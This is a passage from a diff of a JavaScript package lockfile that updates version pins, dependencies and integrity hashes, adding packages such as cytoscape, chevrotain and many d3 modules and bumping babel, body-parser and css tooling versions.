     "anser": ["anser@2.1.1", "", {}, "sha512-nqLm4HxOTpeLOxcmB3QWmV5TcDFhW9y/fyQ+hivtDFcK4OQ+pQ5fzPnXHM1Mfcm0VkLtvVi1TCPr++Qy0Q/3EQ=="],
 
     "ansi-escapes": ["ansi-escapes@4.3.2", "", { "dependencies": { "type-fest": "^0.21.3" } }, "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ=="],
@@ -2161,7 +2315,7 @@
 
     "arg": ["arg@4.1.3", "", {}, "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA=="],
 
-    "argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="],
+    "argparse": ["argparse@1.0.10", "", { "dependencies": { "sprintf-js": "~1.0.2" } }, "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg=="],
 
     "aria-hidden": ["aria-hidden@1.2.6", "", { "dependencies": { "tslib": "^2.0.0" } }, "sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA=="],
 
@@ -2223,11 +2377,11 @@
 
     "babel-plugin-jest-hoist": ["babel-plugin-jest-hoist@30.2.0", "", { "dependencies": { "@types/babel__core": "^7.20.5" } }, "sha512-ftzhzSGMUnOzcCXd6WHdBGMyuwy15Wnn0iyyWGKgBDLxf9/s5ABuraCSpBX2uG0jUg4rqJnxsLc5+oYBqoxVaA=="],
 
-    "babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.12", "", { "dependencies": { "@babel/compat-data": "^7.22.6", "@babel/helper-define-polyfill-provider": "^0.6.3", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-CPWT6BwvhrTO2d8QVorhTCQw9Y43zOu7G9HigcfxvepOU6b8o3tcWad6oVgZIsZCTt42FFv97aA7ZJsbM4+8og=="],
+    "babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.14", "", { "dependencies": { "@babel/compat-data": "^7.27.7", "@babel/helper-define-polyfill-provider": "^0.6.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg=="],
 
-    "babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.11.1", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.3", "core-js-compat": "^3.40.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-yGCqvBT4rwMczo28xkH/noxJ6MZ4nJfkVYdoDaC/utLtWrXxv27HVrzAeSbqR8SxDsp46n0YF47EbHoixy6rXQ=="],
+    "babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.13.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5", "core-js-compat": "^3.43.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A=="],
 
-    "babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.3", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.3" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-LiWSbl4CRSIa5x/JAU6jZiG9eit9w6mz+yVMFwDE83LAWvt0AfGBoZ7HS/mkhrKuh2ZlzfVZYKoLjXdqw6Yt7Q=="],
+    "babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg=="],
 
     "babel-plugin-replace-ts-export-assignment": ["babel-plugin-replace-ts-export-assignment@0.0.2", "", {}, "sha512-BiTEG2Ro+O1spuheL5nB289y37FFmz0ISE6GjpNCG2JuA/WNcuEHSYw01+vN8quGf208sID3FnZFDwVyqX18YQ=="],
 
@@ -2253,7 +2407,7 @@
 
     "base64url": ["base64url@3.0.1", "", {}, "sha512-ir1UPr3dkwexU7FdV8qBBbNDRUhMmIekYMFZfi+C/sLNnRESKPl23nB9b2pltqfOQNnGzsDdId90AEtG5tCx4A=="],
 
-    "baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+    "baseline-browser-mapping": ["baseline-browser-mapping@2.10.0", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-lIyg0szRfYbiy67j9KN8IyeD7q7hcmqnJ1ddWmNt19ItGpNN64mnllmxUNFIOdOm6by97jlL6wfpTTJrmnjWAA=="],
 
     "bcryptjs": ["bcryptjs@2.4.3", "", {}, "sha512-V/Hy/X9Vt7f3BbPJEi8BdVFMByHi+jNXrYkW3huaybV/kQ0KJg0Y6PkEMbn+zeT+i+SiKZ/HMqJGIIt4LZDqNQ=="],
 
@@ -2261,9 +2415,11 @@
 
     "binary-extensions": ["binary-extensions@2.2.0", "", {}, "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA=="],
 
+    "bluebird": ["bluebird@3.4.7", "", {}, "sha512-iD3898SR7sWVRHbiQv+sHUtHnMvC1o3nW5rAcqnq3uOn07DSAppZYUkIGslDz6gXC7HfunPe7YVBgoEJASPcHA=="],
+
     "bn.js": ["bn.js@4.12.1", "", {}, "sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg=="],
 
-    "body-parser": ["body-parser@2.2.0", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.0", "http-errors": "^2.0.0", "iconv-lite": "^0.6.3", "on-finished": "^2.4.1", "qs": "^6.14.0", "raw-body": "^3.0.0", "type-is": "^2.0.0" } }, "sha512-02qvAaxv8tp7fBa/mw1ga98OGm+eCbqzJOKoRt70sLmfEEi+jyBYVTDGfCL/k06/4EMk/z01gCe7HoCH/f2LTg=="],
+    "body-parser": ["body-parser@2.2.2", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.3", "http-errors": "^2.0.0", "iconv-lite": "^0.7.0", "on-finished": "^2.4.1", "qs": "^6.14.1", "raw-body": "^3.0.1", "type-is": "^2.0.1" } }, "sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA=="],
 
     "boolbase": ["boolbase@1.0.0", "", {}, "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww=="],
 
@@ -2351,9 +2507,11 @@
 
     "cheerio-select": ["cheerio-select@2.1.0", "", { "dependencies": { "boolbase": "^1.0.0", "css-select": "^5.1.0", "css-what": "^6.1.0", "domelementtype": "^2.3.0", "domhandler": "^5.0.3", "domutils": "^3.0.1" } }, "sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g=="],
 
-    "chokidar": ["chokidar@3.5.3", "", { "dependencies": { "anymatch": "~3.1.2", "braces": "~3.0.2", "glob-parent": "~5.1.2", "is-binary-path": "~2.1.0", "is-glob": "~4.0.1", "normalize-path": "~3.0.0", "readdirp": "~3.6.0" }, "optionalDependencies": { "fsevents": "~2.3.2" } }, "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw=="],
+    "chevrotain": ["chevrotain@11.1.2", "", { "dependencies": { "@chevrotain/cst-dts-gen": "11.1.2", "@chevrotain/gast": "11.1.2", "@chevrotain/regexp-to-ast": "11.1.2", "@chevrotain/types": "11.1.2", "@chevrotain/utils": "11.1.2", "lodash-es": "4.17.23" } }, "sha512-opLQzEVriiH1uUQ4Kctsd49bRoFDXGGSC4GUqj7pGyxM3RehRhvTlZJc1FL/Flew2p5uwxa1tUDWKzI4wNM8pg=="],
 
-    "chrome-trace-event": ["chrome-trace-event@1.0.3", "", {}, "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg=="],
+    "chevrotain-allstar": ["chevrotain-allstar@0.3.1", "", { "dependencies": { "lodash-es": "^4.17.21" }, "peerDependencies": { "chevrotain": "^11.0.0" } }, "sha512-b7g+y9A0v4mxCW1qUhf3BSVPg+/NvGErk/dOkrDaHA0nQIQGAtrOjlX//9OQtRlSCy+x9rfB5N8yC71lH1nvMw=="],
+
+    "chokidar": ["chokidar@3.5.3", "", { "dependencies": { "anymatch": "~3.1.2", "braces": "~3.0.2", "glob-parent": "~5.1.2", "is-binary-path": "~2.1.0", "is-glob": "~4.0.1", "normalize-path": "~3.0.0", "readdirp": "~3.6.0" }, "optionalDependencies": { "fsevents": "~2.3.2" } }, "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw=="],
 
     "ci-info": ["ci-info@4.3.1", "", {}, "sha512-Wdy2Igu8OcBpI2pZePZ5oWjPC38tmDVx5WKUXKwlLYkA0ozo85sLsLvkBbBn/sZaSCMFOGZJ14fvW9t5/d7kdA=="],
 
@@ -2419,6 +2577,8 @@
 
     "concat-with-sourcemaps": ["concat-with-sourcemaps@1.1.0", "", { "dependencies": { "source-map": "^0.6.1" } }, "sha512-4gEjHJFT9e+2W/77h/DS5SGUgwDaOwprX8L/gl5+3ixnzkVJJsZWDSelmN3Oilw3LNDZjZV0yqH1hLG3k6nghg=="],
 
+    "confbox": ["confbox@0.1.8", "", {}, "sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w=="],
+
     "connect-redis": ["connect-redis@8.1.0", "", { "peerDependencies": { "express-session": ">=1" } }, "sha512-Km0EYLDlmExF52UCss5gLGTtrukGC57G6WCC2aqEMft5Vr4xNWuM4tL+T97kWrw+vp40SXFteb6Xk/7MxgpwdA=="],
 
     "console-browserify": ["console-browserify@1.2.0", "", {}, "sha512-ZMkYO/LkF17QvCPqM0gxw8yUzigAOZOSWSHg91FH6orS7vcEj5dVZTidN2fQ14yBSdg97RqhSNwLUXInd52OTA=="],
@@ -2445,13 +2605,13 @@
 
     "copy-to-clipboard": ["copy-to-clipboard@3.3.3", "", { "dependencies": { "toggle-selection": "^1.0.6" } }, "sha512-2KV8NhB5JqC3ky0r9PMCAZKbUHSwtEo4CwCs0KXgruG43gX5PMqDEBbVU4OUzw2MuAWUfsuFmWvEKG5QRfSnJA=="],
 
-    "core-js-compat": ["core-js-compat@3.40.0", "", { "dependencies": { "browserslist": "^4.24.3" } }, "sha512-0XEDpr5y5mijvw8Lbc6E5AkjrHfp7eEoPlu36SWeAbcL8fn1G1ANe8DBlo2XoNN89oVpxWwOjYIPVzR4ZvsKCQ=="],
+    "core-js-compat": ["core-js-compat@3.47.0", "", { "dependencies": { "browserslist": "^4.28.0" } }, "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ=="],
 
-    "core-util-is": ["core-util-is@1.0.2", "", {}, "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ=="],
+    "core-util-is": ["core-util-is@1.0.3", "", {}, "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ=="],
 
     "cors": ["cors@2.8.5", "", { "dependencies": { "object-assign": "^4", "vary": "^1" } }, "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g=="],
 
-    "cosmiconfig": ["cosmiconfig@8.3.6", "", { "dependencies": { "import-fresh": "^3.3.0", "js-yaml": "^4.1.0", "parse-json": "^5.2.0", "path-type": "^4.0.0" }, "peerDependencies": { "typescript": ">=4.9.5" } }, "sha512-kcZ6+W5QzcJ3P1Mt+83OUv/oHFqZHIx8DuxG6eZ5RGMERoLqp4BuGjhHLYGK+Kf5XVkQvqBSmAy/nGWN3qDgEA=="],
+    "cose-base": ["cose-base@1.0.3", "", { "dependencies": { "layout-base": "^1.0.0" } }, "sha512-s9whTXInMSgAp/NVXVNuVxVKzGH2qck3aQlVHxDCdAEPgtMKwc4Wq6/QKhgdEdgbLSi9rBTAcPoRa6JpiG4ksg=="],
 
     "create-ecdh": ["create-ecdh@4.0.4", "", { "dependencies": { "bn.js": "^4.1.0", "elliptic": "^6.5.3" } }, "sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A=="],
 
@@ -2473,13 +2633,13 @@
 
     "crypto-random-string": ["crypto-random-string@2.0.0", "", {}, "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA=="],
 
-    "css-blank-pseudo": ["css-blank-pseudo@5.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-aCU4AZ7uEcVSUzagTlA9pHciz7aWPKA/YzrEkpdSopJ2pvhIxiQ5sYeMz1/KByxlIo4XBdvMNJAVKMg/GRnhfw=="],
+    "css-blank-pseudo": ["css-blank-pseudo@8.0.1", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-C5B2e5hCM4llrQkUms+KnWEMVW8K1n2XvX9G7ppfMZJQ7KAS/4rNnkP1Cs+HhWriOz1mWWTMFD4j1J7s31Dgug=="],
 
     "css-declaration-sorter": ["css-declaration-sorter@6.4.1", "", { "peerDependencies": { "postcss": "^8.0.9" } }, "sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g=="],
 
-    "css-has-pseudo": ["css-has-pseudo@5.0.2", "", { "dependencies": { "@csstools/selector-specificity": "^2.0.1", "postcss-selector-parser": "^6.0.10", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-q+U+4QdwwB7T9VEW/LyO6CFrLAeLqOykC5mDqJXc7aKZAhDbq7BvGT13VGJe+IwBfdN2o3Xdw2kJ5IxwV1Sc9Q=="],
+    "css-has-pseudo": ["css-has-pseudo@8.0.0", "", { "dependencies": { "@csstools/selector-specificity": "^6.0.0", "postcss-selector-parser": "^7.1.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Uz/bsHRbOeir/5Oeuz85tq/yLJLxX+3dpoRdjNTshs6jjqwUg8XaEZGDd0ci3fw7l53Srw0EkJ8mYan0eW5uGQ=="],
 
-    "css-prefers-color-scheme": ["css-prefers-color-scheme@8.0.2", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-OvFghizHJ45x7nsJJUSYLyQNTzsCU8yWjxAc/nhPQg1pbs18LMoET8N3kOweFDPy0JV0OSXN2iqRFhPBHYOeMA=="],
+    "css-prefers-color-scheme": ["css-prefers-color-scheme@11.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-fv0mgtwUhh2m9iio3Kxc2CkrogjIaRdMFaaqyzSFdii17JF4cfPyMNX72B15ZW2Nrr/NZUpxI4dec1VMHYJvdw=="],
 
     "css-select": ["css-select@5.2.2", "", { "dependencies": { "boolbase": "^1.0.0", "css-what": "^6.1.0", "domhandler": "^5.0.2", "domutils": "^3.0.1", "nth-check": "^2.0.1" } }, "sha512-TizTzUddG/xYLA3NXodFM0fSbNizXjOKhqiQQwvhlspadZokn1KDy0NZFS0wuEubIYAV5/c1/lAr0TaaFXEXzw=="],
 
@@ -2489,7 +2649,7 @@
 
     "css.escape": ["css.escape@1.5.1", "", {}, "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg=="],
 
-    "cssdb": ["cssdb@7.10.0", "", {}, "sha512-yGZ5tmA57gWh/uvdQBHs45wwFY0IBh3ypABk5sEubPBPSzXzkNgsWReqx7gdx6uhC+QoFBe+V8JwBB9/hQ6cIA=="],
+    "cssdb": ["cssdb@8.8.0", "", {}, "sha512-QbLeyz2Bgso1iRlh7IpWk6OKa3lLNGXsujVjDMPl9rOZpxKeiG69icLpbLCFxeURwmcdIfZqQyhlooKJYM4f8Q=="],
 
     "cssesc": ["cssesc@3.0.0", "", { "bin": "bin/cssesc" }, "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg=="],
 
@@ -2503,14 +2663,84 @@
 
     "csso": ["csso@4.2.0", "", { "dependencies": { "css-tree": "^1.1.2" } }, "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA=="],
 
-    "cssom": ["cssom@0.5.0", "", {}, "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw=="],
-
     "cssstyle": ["cssstyle@4.6.0", "", { "dependencies": { "@asamuzakjp/css-color": "^3.2.0", "rrweb-cssom": "^0.8.0" } }, "sha512-2z+rWdzbbSZv6/rhtvzvqeZQHrBaqgogqt85sqFNbabZOuFbCVFb8kPeEtZjiKkbrm395irpNKiYeFeLiQnFPg=="],
 
     "csstype": ["csstype@3.1.3", "", {}, "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw=="],
 
+    "cytoscape": ["cytoscape@3.33.1", "", {}, "sha512-iJc4TwyANnOGR1OmWhsS9ayRS3s+XQ185FmuHObThD+5AeJCakAAbWv8KimMTt08xCCLNgneQwFp+JRJOr9qGQ=="],
+
+    "cytoscape-cose-bilkent": ["cytoscape-cose-bilkent@4.1.0", "", { "dependencies": { "cose-base": "^1.0.0" }, "peerDependencies": { "cytoscape": "^3.2.0" } }, "sha512-wgQlVIUJF13Quxiv5e1gstZ08rnZj2XaLHGoFMYXz7SkNfCDOOteKBE6SYRfA9WxxI/iBc3ajfDoc6hb/MRAHQ=="],
+
+    "cytoscape-fcose": ["cytoscape-fcose@2.2.0", "", { "dependencies": { "cose-base": "^2.2.0" }, "peerDependencies": { "cytoscape": "^3.2.0" } }, "sha512-ki1/VuRIHFCzxWNrsshHYPs6L7TvLu3DL+TyIGEsRcvVERmxokbf5Gdk7mFxZnTdiGtnA4cfSmjZJMviqSuZrQ=="],
+
     "d": ["d@1.0.2", "", { "dependencies": { "es5-ext": "^0.10.64", "type": "^2.7.2" } }, "sha512-MOqHvMWF9/9MX6nza0KgvFH4HpMU0EF5uUDXqX/BtxtU8NfB0QzRtJ8Oe/6SuS4kbhyzVJwjd97EA4PKrzJ8bw=="],
 
+    "d3": ["d3@7.9.0", "", { "dependencies": { "d3-array": "3", "d3-axis": "3", "d3-brush": "3", "d3-chord": "3", "d3-color": "3", "d3-contour": "4", "d3-delaunay": "6", "d3-dispatch": "3", "d3-drag": "3", "d3-dsv": "3", "d3-ease": "3", "d3-fetch": "3", "d3-force": "3", "d3-format": "3", "d3-geo": "3", "d3-hierarchy": "3", "d3-interpolate": "3", "d3-path": "3", "d3-polygon": "3", "d3-quadtree": "3", "d3-random": "3", "d3-scale": "4", "d3-scale-chromatic": "3", "d3-selection": "3", "d3-shape": "3", "d3-time": "3", "d3-time-format": "4", "d3-timer": "3", "d3-transition": "3", "d3-zoom": "3" } }, "sha512-e1U46jVP+w7Iut8Jt8ri1YsPOvFpg46k+K8TpCb0P+zjCkjkPnV7WzfDJzMHy1LnA+wj5pLT1wjO901gLXeEhA=="],
+
+    "d3-array": ["d3-array@3.2.4", "", { "dependencies": { "internmap": "1 - 2" } }, "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg=="],
+
+    "d3-axis": ["d3-axis@3.0.0", "", {}, "sha512-IH5tgjV4jE/GhHkRV0HiVYPDtvfjHQlQfJHs0usq7M30XcSBvOotpmH1IgkcXsO/5gEQZD43B//fc7SRT5S+xw=="],
+
+    "d3-brush": ["d3-brush@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-drag": "2 - 3", "d3-interpolate": "1 - 3", "d3-selection": "3", "d3-transition": "3" } }, "sha512-ALnjWlVYkXsVIGlOsuWH1+3udkYFI48Ljihfnh8FZPF2QS9o+PzGLBslO0PjzVoHLZ2KCVgAM8NVkXPJB2aNnQ=="],
+
+    "d3-chord": ["d3-chord@3.0.1", "", { "dependencies": { "d3-path": "1 - 3" } }, "sha512-VE5S6TNa+j8msksl7HwjxMHDM2yNK3XCkusIlpX5kwauBfXuyLAtNg9jCp/iHH61tgI4sb6R/EIMWCqEIdjT/g=="],
+
+    "d3-color": ["d3-color@3.1.0", "", {}, "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA=="],
+
+    "d3-contour": ["d3-contour@4.0.2", "", { "dependencies": { "d3-array": "^3.2.0" } }, "sha512-4EzFTRIikzs47RGmdxbeUvLWtGedDUNkTcmzoeyg4sP/dvCexO47AaQL7VKy/gul85TOxw+IBgA8US2xwbToNA=="],
+
+    "d3-delaunay": ["d3-delaunay@6.0.4", "", { "dependencies": { "delaunator": "5" } }, "sha512-mdjtIZ1XLAM8bm/hx3WwjfHt6Sggek7qH043O8KEjDXN40xi3vx/6pYSVTwLjEgiXQTbvaouWKynLBiUZ6SK6A=="],
+
+    "d3-dispatch": ["d3-dispatch@3.0.1", "", {}, "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg=="],
+
+    "d3-drag": ["d3-drag@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-selection": "3" } }, "sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg=="],
+
+    "d3-dsv": ["d3-dsv@3.0.1", "", { "dependencies": { "commander": "7", "iconv-lite": "0.6", "rw": "1" }, "bin": { "csv2json": "bin/dsv2json.js", "csv2tsv": "bin/dsv2dsv.js", "dsv2dsv": "bin/dsv2dsv.js", "dsv2json": "bin/dsv2json.js", "json2csv": "bin/json2dsv.js", "json2dsv": "bin/json2dsv.js", "json2tsv": "bin/json2dsv.js", "tsv2csv": "bin/dsv2dsv.js", "tsv2json": "bin/dsv2json.js" } }, "sha512-UG6OvdI5afDIFP9w4G0mNq50dSOsXHJaRE8arAS5o9ApWnIElp8GZw1Dun8vP8OyHOZ/QJUKUJwxiiCCnUwm+Q=="],
+
+    "d3-ease": ["d3-ease@3.0.1", "", {}, "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w=="],
+
+    "d3-fetch": ["d3-fetch@3.0.1", "", { "dependencies": { "d3-dsv": "1 - 3" } }, "sha512-kpkQIM20n3oLVBKGg6oHrUchHM3xODkTzjMoj7aWQFq5QEM+R6E4WkzT5+tojDY7yjez8KgCBRoj4aEr99Fdqw=="],
+
+    "d3-force": ["d3-force@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-quadtree": "1 - 3", "d3-timer": "1 - 3" } }, "sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg=="],
+
+    "d3-format": ["d3-format@3.1.2", "", {}, "sha512-AJDdYOdnyRDV5b6ArilzCPPwc1ejkHcoyFarqlPqT7zRYjhavcT3uSrqcMvsgh2CgoPbK3RCwyHaVyxYcP2Arg=="],
+
+    "d3-geo": ["d3-geo@3.1.1", "", { "dependencies": { "d3-array": "2.5.0 - 3" } }, "sha512-637ln3gXKXOwhalDzinUgY83KzNWZRKbYubaG+fGVuc/dxO64RRljtCTnf5ecMyE1RIdtqpkVcq0IbtU2S8j2Q=="],
+
+    "d3-hierarchy": ["d3-hierarchy@3.1.2", "", {}, "sha512-FX/9frcub54beBdugHjDCdikxThEqjnR93Qt7PvQTOHxyiNCAlvMrHhclk3cD5VeAaq9fxmfRp+CnWw9rEMBuA=="],
+
+    "d3-interpolate": ["d3-interpolate@3.0.1", "", { "dependencies": { "d3-color": "1 - 3" } }, "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g=="],
+
+    "d3-path": ["d3-path@3.1.0", "", {}, "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ=="],
+
+    "d3-polygon": ["d3-polygon@3.0.1", "", {}, "sha512-3vbA7vXYwfe1SYhED++fPUQlWSYTTGmFmQiany/gdbiWgU/iEyQzyymwL9SkJjFFuCS4902BSzewVGsHHmHtXg=="],
+
+    "d3-quadtree": ["d3-quadtree@3.0.1", "", {}, "sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw=="],
+
+    "d3-random": ["d3-random@3.0.1", "", {}, "sha512-FXMe9GfxTxqd5D6jFsQ+DJ8BJS4E/fT5mqqdjovykEB2oFbTMDVdg1MGFxfQW+FBOGoB++k8swBrgwSHT1cUXQ=="],
+
+    "d3-sankey": ["d3-sankey@0.12.3", "", { "dependencies": { "d3-array": "1 - 2", "d3-shape": "^1.2.0" } }, "sha512-nQhsBRmM19Ax5xEIPLMY9ZmJ/cDvd1BG3UVvt5h3WRxKg5zGRbvnteTyWAbzeSvlh3tW7ZEmq4VwR5mB3tutmQ=="],
+
+    "d3-scale": ["d3-scale@4.0.2", "", { "dependencies": { "d3-array": "2.10.0 - 3", "d3-format": "1 - 3", "d3-interpolate": "1.2.0 - 3", "d3-time": "2.1.1 - 3", "d3-time-format": "2 - 4" } }, "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ=="],
+
+    "d3-scale-chromatic": ["d3-scale-chromatic@3.1.0", "", { "dependencies": { "d3-color": "1 - 3", "d3-interpolate": "1 - 3" } }, "sha512-A3s5PWiZ9YCXFye1o246KoscMWqf8BsD9eRiJ3He7C9OBaxKhAd5TFCdEx/7VbKtxxTsu//1mMJFrEt572cEyQ=="],
+
+    "d3-selection": ["d3-selection@3.0.0", "", {}, "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ=="],
+
+    "d3-shape": ["d3-shape@3.2.0", "", { "dependencies": { "d3-path": "^3.1.0" } }, "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA=="],
+
